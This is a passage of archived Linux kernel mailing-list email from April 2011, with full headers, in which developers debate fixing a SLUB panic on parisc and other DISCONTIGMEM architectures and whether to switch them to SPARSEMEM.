	by kanga.kvack.org (Postfix) with SMTP id 5AF888D003B
	for <linux-mm@kvack.org>; Thu, 21 Apr 2011 16:05:22 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: James.Bottomley@HansenPartnership.com
X-Msg-Ref: server-14.tower-172.messagelabs.com!1303416316!91691249!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [66.63.167.143]
X-SpamReason: No, hits=0.0 required=7.0 tests=ML_RADAR_SPEW_LINKS_8,
  spamassassin: ,surbl: (ASYNC_NO) c3VyYmxfcmVjaGVja19kZWxheTogMCAoYWJhbmRv
  bmVkOiBteXRlY2hrb3JuZXIuYmxvZ3Nwb3Qu\nY29tKQ==\n
Original-Received: (qmail 14417 invoked from network); 21 Apr 2011 20:05:16 -0000
Original-Received: from bedivere.hansenpartnership.com (HELO bedivere.hansenpartnership.com) (66.63.167.143)
  by server-14.tower-172.messagelabs.com with SMTP; 21 Apr 2011 20:05:16 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 656978EE0F5;
	Thu, 21 Apr 2011 13:05:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id o8y8vkUB3nLn; Thu, 21 Apr 2011 13:05:20 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8B44E8EE01D;
	Thu, 21 Apr 2011 13:05:18 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104211328000.5741@router.home>
X-Mailer: Evolution 2.32.1 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61819 gmane.linux.kernel:1129709 gmane.linux.ports.parisc:3645
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61819>

On Thu, 2011-04-21 at 13:33 -0500, Christoph Lameter wrote:
> On Thu, 21 Apr 2011, James Bottomley wrote:
> 
> > On Thu, 2011-04-21 at 22:16 +0900, KOSAKI Motohiro wrote:
> > > > This should fix the remaining architectures so they can use CONFIG_SLUB,
> > > > but I hope it can be tested by the individual arch maintainers like you
> > > > did for parisc.
> > >
> > > ia64 and mips have CONFIG_ARCH_POPULATES_NODE_MAP and it initialize
> > > N_NORMAL_MEMORY automatically if my understand is correct.
> > > (plz see free_area_init_nodes)
> > >
> > > I guess alpha and m32r have no active developrs. only m68k seems to be need
> > > fix and we have a chance to get a review...
> >
> > Actually, it's not quite a fix yet, I'm afraid.  I've just been
> > investigating why my main 4 way box got slower with kernel builds:
> > Apparently userspace processes are now all stuck on CPU0, so we're
> > obviously tripping over some NUMA scheduling stuff that's missing.
> 
> The simplest solution may be to move these arches to use SPARSE instead.
> AFAICT this was relatively easy for the arm guys.
> 
> Here is short guide on how to do that from the mips people:
> 
> http://www.linux-mips.org/archives/linux-mips/2008-08/msg00154.html
> 
> http://mytechkorner.blogspot.com/2010/12/sparsemem.html
> 
> Dave Hansen, Mel: Can you provide us with some help? (Its Easter and so
> the europeans may be off for awhile)

It sort of depends on your definition of easy.  The problem going from
DISCONTIGMEM to SPARSEMEM is sorting out the section size (the minimum
indivisible size for a sectional_mem_map array) and also deciding on
whether you need SPARSEMEM_EXTREME (discontigmem allows arbitrarily
different sizes for each contiguous region) or
ARCH_HAS_HOLES_MEMORYMODEL (allows empty mem_map regions as well).  I
suspect most architectures will want SPARSEMEM_EXTREME (it means that
the section array isn't fully populated) because the gaps can be huge
(we've got a 64GB gap on parisc).

However, even though I think we can do this going forwards ... I don't
think we can backport it as a bug fix for the slub panic.

James


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 16:07:43 -0500 (CDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211553390.9496@router.home>
References: <1303337718.2587.51.camel@mulgrave.site>  <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>  <20110421221712.9184.A69D9226@jp.fujitsu.com>  <1303403847.4025.11.camel@mulgrave.site>  <alpine.DEB.2.00.1104211328000.5741@router.home>
 <1303416315.4025.36.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303420078 28101 80.91.229.12 (21 Apr 2011 21:07:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 21:07:58 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Dave Hansen <dave@linux.vnet.ibm.com>,
	Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 23:07:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD16N-00057P-Cr
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 23:07:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754062Ab1DUVHu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 17:07:50 -0400
Original-Received: from smtp105.prem.mail.ac4.yahoo.com ([76.13.13.44]:49031 "HELO
	smtp105.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753961Ab1DUVHu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 17:07:50 -0400
Original-Received: (qmail 69208 invoked from network); 21 Apr 2011 21:07:48 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp105.prem.mail.ac4.yahoo.com with SMTP; 21 Apr 2011 14:07:47 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: N7a04ksVM1m.0I_vy74zIqoJtspkUaojfuLzlArmJX6wtwJ
 uuWbcCLXPSrjAeayPzP8dQ9vgd7hRmnqrPfogwBmpZwHezQDRhS6n0x0CciM
 QQ1PT2ARKAJ3w6vrvLVoIluvMK2OP23tXgCdgEnW4.P81PnYLPSox_ODV2wi
 wGrUsbUda7O7t_b092sYCvOby5O4QQjYZ9cxpznIhD4z7MYB_raFoBzCk1KS
 oG4_.OHrBvpOM9YVbWXJeKgZP3hM.Cu25TsvuW_CLWDDWs8NT5nEsv4xIGez
 _yEdJWYIxvkcJ3EJeVwvBt2PZxn1txh.NxvtR2b1yKhNm4VBrFud3YubTHWz
 tfSX_rBVbO6iU1AixLcrhMQyC
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QD16J-00032f-8V; Thu, 21 Apr 2011 16:07:47 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303416315.4025.36.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3646 gmane.linux.kernel.mm:61820 gmane.linux.kernel:1129730
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3646>

On Thu, 21 Apr 2011, James Bottomley wrote:

> > Dave Hansen, Mel: Can you provide us with some help? (Its Easter and so
> > the europeans may be off for awhile)
>
> It sort of depends on your definition of easy.  The problem going from
> DISCONTIGMEM to SPARSEMEM is sorting out the section size (the minimum
> indivisible size for a sectional_mem_map array) and also deciding on
> whether you need SPARSEMEM_EXTREME (discontigmem allows arbitrarily
> different sizes for each contiguous region) or
> ARCH_HAS_HOLES_MEMORYMODEL (allows empty mem_map regions as well).  I
> suspect most architectures will want SPARSEMEM_EXTREME (it means that
> the section array isn't fully populated) because the gaps can be huge
> (we've got a 64GB gap on parisc).

Well my favorite is SPARSEMEM_VMEMMAP because it allows page level holes
and uses the TLB (via page tables) to avoid lookups in the SPARSE maps but
that is likely not going to be in an initial fix.

> However, even though I think we can do this going forwards ... I don't
> think we can backport it as a bug fix for the slub panic.

So far there seems to be no other solution that will fix the issues
cleanly since we have a clash of the notions of a node in !NUMA between
core and discontig. Which is a pretty basic thing to get wrong.

If we can avoid all the fancy stuff and Dave can just get a minimal SPARSE
config going then this may be the best solution for stable as well.

But then these configs have been broken for years and no one noticed. This
means the users of these arches likely have been running a subset of
kernel functionality. I suspect they have never freed memory from
DISCONTIG node 1 and higher without CONFIG_DEBUG_VM on. Otherwise I
cannot explain why the VM_BUG_ONs did not trigger in
mm/page_alloc.c:move_freepages() that should have been brought to the MM
developers attention.

This set of circumstances leads to the suspicion that there were only
tests run that showed that the kernel booted. Higher node memory was never
touched and the MM code was never truly exercised.

So I am not sure that there is any urgency in this matter. No one has
cared for years after all.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 14:19:45 -0700 (PDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
References: <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com> <20110421220351.9180.A69D9226@jp.fujitsu.com> <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
 <alpine.DEB.2.00.1104211500170.5741@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303420803 32427 80.91.229.12 (21 Apr 2011 21:20:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 21:20:03 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 23:19:56 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD1I3-0004xP-UL
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 23:19:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754706Ab1DUVTz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 17:19:55 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:13839 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754109Ab1DUVTy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 17:19:54 -0400
Original-Received: from kpbe15.cbf.corp.google.com (kpbe15.cbf.corp.google.com [172.25.105.79])
	by smtp-out.google.com with ESMTP id p3LLJq5A027978
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 14:19:52 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303420792; bh=7rKgZ2Cne/SfYysH2zbz0EBKA60=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=sUnRzNupT23qs+YTnbXTZZlNqhmvv9XCqW2R3ms18MV50+kV9V2aeKDZb7SAGdRpg
	 zaNN2PB2JSQl9T/hRqFAw==
Original-Received: from pwj8 (pwj8.prod.google.com [10.241.219.72])
	by kpbe15.cbf.corp.google.com with ESMTP id p3LLJgZ7016803
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 14:19:50 -0700
Original-Received: by pwj8 with SMTP id 8so103704pwj.27
        for <linux-parisc@vger.kernel.org>; Thu, 21 Apr 2011 14:19:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=I+qxx8XTctctF9VIRrDOaPLRZk6pOXs0ZsM0v1eH94o=;
        b=TRqxBzBOTXlGDToTs2THWpDyGh8kuWTmTfH0CMybfmfHr1tXTuSenQ11XgSsMlm+vF
         7ERNUFwuXiDE638DDl1w==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=HYaUskdJ5r3n04U6kzHBGs2k+hTtRdionDqy0qLzKRcPcv5EMNIzl3X6t5I8hH/sWP
         GwMl9lfr0RTST7lYM+Sw==
Original-Received: by 10.68.50.138 with SMTP id c10mr501719pbo.470.1303420790000;
        Thu, 21 Apr 2011 14:19:50 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id k9sm297766pbp.37.2011.04.21.14.19.46
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 21 Apr 2011 14:19:46 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <alpine.DEB.2.00.1104211500170.5741@router.home>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3647 gmane.linux.kernel.mm:61821 gmane.linux.kernel:1129738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3647>

On Thu, 21 Apr 2011, Christoph Lameter wrote:

> In 32 bit configurations some architectures (like x86) provide nodes
> that have only high memory. Slab allocators only handle normal memory.
> SLAB operates in a kind of degraded mode in that case by falling back for
> each allocation to the nodes that have normal memory.
> 

Let's do this:

 - parisc: James has already queued "parisc: set memory ranges in 
   N_NORMAL_MEMORY when onlined" for 2.6.39, so all he needs now is 
   to merge a hybrid of the Kconfig changes requiring CONFIG_NUMA for 
   CONFIG_DISCONTIGMEM from KOSAKI-san and myself which also fix the 
   compile issues,

 - generic code: we pull check_for_regular_memory() out from under
   CONFIG_HIGHMEM so that N_NORMAL_MEMORY gets set appropriately for 
   all callers of free_area_init_nodes() from paging_init(); this fixes 
   ia64 and mips,

 - alpha, m32r, m68k: push the changes to those individual architectures 
   that I proposed earlier that set N_NORMAL_MEMORY for DISCONTINGMEM
   when memory regions have memory; KOSAKI-san says a couple of these
   architectures may be orphaned so hopefully Andrew can pick them up
   in -mm.

I'll reply to this email with the parisc Kconfig changes for James, the 
generic change to check_for_regular_memory() for Andrew, and the 
arch-specific changes to the appropriate maintainers and email lists (but 
may need to go through -mm if they aren't picked up).
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 16:22:35 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <1303420955.4025.50.camel@mulgrave.site>
References: <1303337718.2587.51.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
	 <20110421221712.9184.A69D9226@jp.fujitsu.com>
	 <1303403847.4025.11.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211328000.5741@router.home>
	 <1303416315.4025.36.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104211553390.9496@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303420967 1000 80.91.229.12 (21 Apr 2011 21:22:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 21:22:47 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	David Rientjes <rientjes@google.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, Tejun Heo <tj@kernel.org>,
	Dave Hansen <dave@linux.vnet.ibm.com>,
	Mel Gorman <mel@csn.ul.ie>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 23:22:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD1Ki-0006mJ-AW
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 23:22:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754706Ab1DUVWj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 17:22:39 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50196 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754109Ab1DUVWj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 17:22:39 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D6DF88EE0F5;
	Thu, 21 Apr 2011 14:22:38 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id E5bKsBGtCXQG; Thu, 21 Apr 2011 14:22:38 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 85E378EE01D;
	Thu, 21 Apr 2011 14:22:37 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104211553390.9496@router.home>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3648 gmane.linux.kernel.mm:61822 gmane.linux.kernel:1129739
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3648>

On Thu, 2011-04-21 at 16:07 -0500, Christoph Lameter wrote:
> On Thu, 21 Apr 2011, James Bottomley wrote:
> 
> > > Dave Hansen, Mel: Can you provide us with some help? (Its Easter and so
> > > the europeans may be off for awhile)
> >
> > It sort of depends on your definition of easy.  The problem going from
> > DISCONTIGMEM to SPARSEMEM is sorting out the section size (the minimum
> > indivisible size for a sectional_mem_map array) and also deciding on
> > whether you need SPARSEMEM_EXTREME (discontigmem allows arbitrarily
> > different sizes for each contiguous region) or
> > ARCH_HAS_HOLES_MEMORYMODEL (allows empty mem_map regions as well).  I
> > suspect most architectures will want SPARSEMEM_EXTREME (it means that
> > the section array isn't fully populated) because the gaps can be huge
> > (we've got a 64GB gap on parisc).
> 
> Well my favorite is SPARSEMEM_VMEMMAP because it allows page level holes
> and uses the TLB (via page tables) to avoid lookups in the SPARSE maps but
> that is likely not going to be in an initial fix.

Really, no ... that requires additional pte insertion logic and some
other stuff that's nasty to craft and requires significant testing.

> > However, even though I think we can do this going forwards ... I don't
> > think we can backport it as a bug fix for the slub panic.
> 
> So far there seems to be no other solution that will fix the issues
> cleanly since we have a clash of the notions of a node in !NUMA between
> core and discontig. Which is a pretty basic thing to get wrong.

Yes there is ... there's the slub patch or the marking as broken.
Either are much simpler.

> If we can avoid all the fancy stuff and Dave can just get a minimal SPARSE
> config going then this may be the best solution for stable as well.
> 
> But then these configs have been broken for years and no one noticed. This
> means the users of these arches likely have been running a subset of
> kernel functionality. I suspect they have never freed memory from
> DISCONTIG node 1 and higher without CONFIG_DEBUG_VM on. Otherwise I
> cannot explain why the VM_BUG_ONs did not trigger in
> mm/page_alloc.c:move_freepages() that should have been brought to the MM
> developers attention.

Yes they have.  As willy said, they've just never been run with DEBUG_VM
or HUGEPAGES or, until recently, SLUB.  The test boxes (at least for
parisc) get hammered quite a lot to flush out coherency issues.  That's
why I'm confident this panic only triggers for slub.  I found the panic
within about two days of turning SLUB on.

> This set of circumstances leads to the suspicion that there were only
> tests run that showed that the kernel booted. Higher node memory was never
> touched and the MM code was never truly exercised.

Look, try to stay on point with logic: they have been extensively
tested, just not in the slub configuration, which is the only one that
crashes.  As I explained (several times) we're just now picking up slub
because debian now enables it by default.

> So I am not sure that there is any urgency in this matter. No one has
> cared for years after all.

If we didn't care, we wouldn't be making all this fuss.  It's only a
couple of days since the bug was reported, which should indicate the
high importance attached to it (well, by everyone except you,
apparently).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Thu, 21 Apr 2011 16:24:48 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1303421088.4025.52.camel@mulgrave.site>
References: <1303317178.2587.30.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
	 <20110421220351.9180.A69D9226@jp.fujitsu.com>
	 <alpine.DEB.2.00.1104211237250.5829@chino.kir.corp.google.com>
	 <alpine.DEB.2.00.1104211500170.5741@router.home>
	 <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303421099 1662 80.91.229.12 (21 Apr 2011 21:24:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 21:24:59 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>, Hugh Dickins <hughd@google.com>,
	linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 23:24:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QD1Mq-0007Ry-59
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 23:24:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754390Ab1DUVYv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 17:24:51 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50501 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752974Ab1DUVYv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 17:24:51 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E28218EE0F5;
	Thu, 21 Apr 2011 14:24:50 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9iDnvdoGmoy8; Thu, 21 Apr 2011 14:24:50 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D52BB8EE01D;
	Thu, 21 Apr 2011 14:24:49 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104211411540.20201@chino.kir.corp.google.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3649 gmane.linux.kernel.mm:61823 gmane.linux.kernel:1129740
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3649>

On Thu, 2011-04-21 at 14:19 -0700, David Rientjes wrote:
> On Thu, 21 Apr 2011, Christoph Lameter wrote:
> 
> > In 32 bit configurations some architectures (like x86) provide nodes
> > that have only high memory. Slab allocators only handle normal memory.
> > SLAB operates in a kind of degraded mode in that case by falling back for
> > each allocation to the nodes that have normal memory.
> > 
> 
> Let's do this:
> 
>  - parisc: James has already queued "parisc: set memory ranges in 
>    N_NORMAL_MEMORY when onlined" for 2.6.39, so all he needs now is 
>    to merge a hybrid of the Kconfig changes requiring CONFIG_NUMA for 
>    CONFIG_DISCONTIGMEM from KOSAKI-san and myself which also fix the 
>    compile issues,

Not quite: if we go this route, we need to sort out our CPU scheduling
problem as well ... as I said, I don't think we've got all the necessary
numa machinery in place yet.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [patch] parisc: enable CONFIG_NUMA for DISCONTIGMEM and fix build
 errors
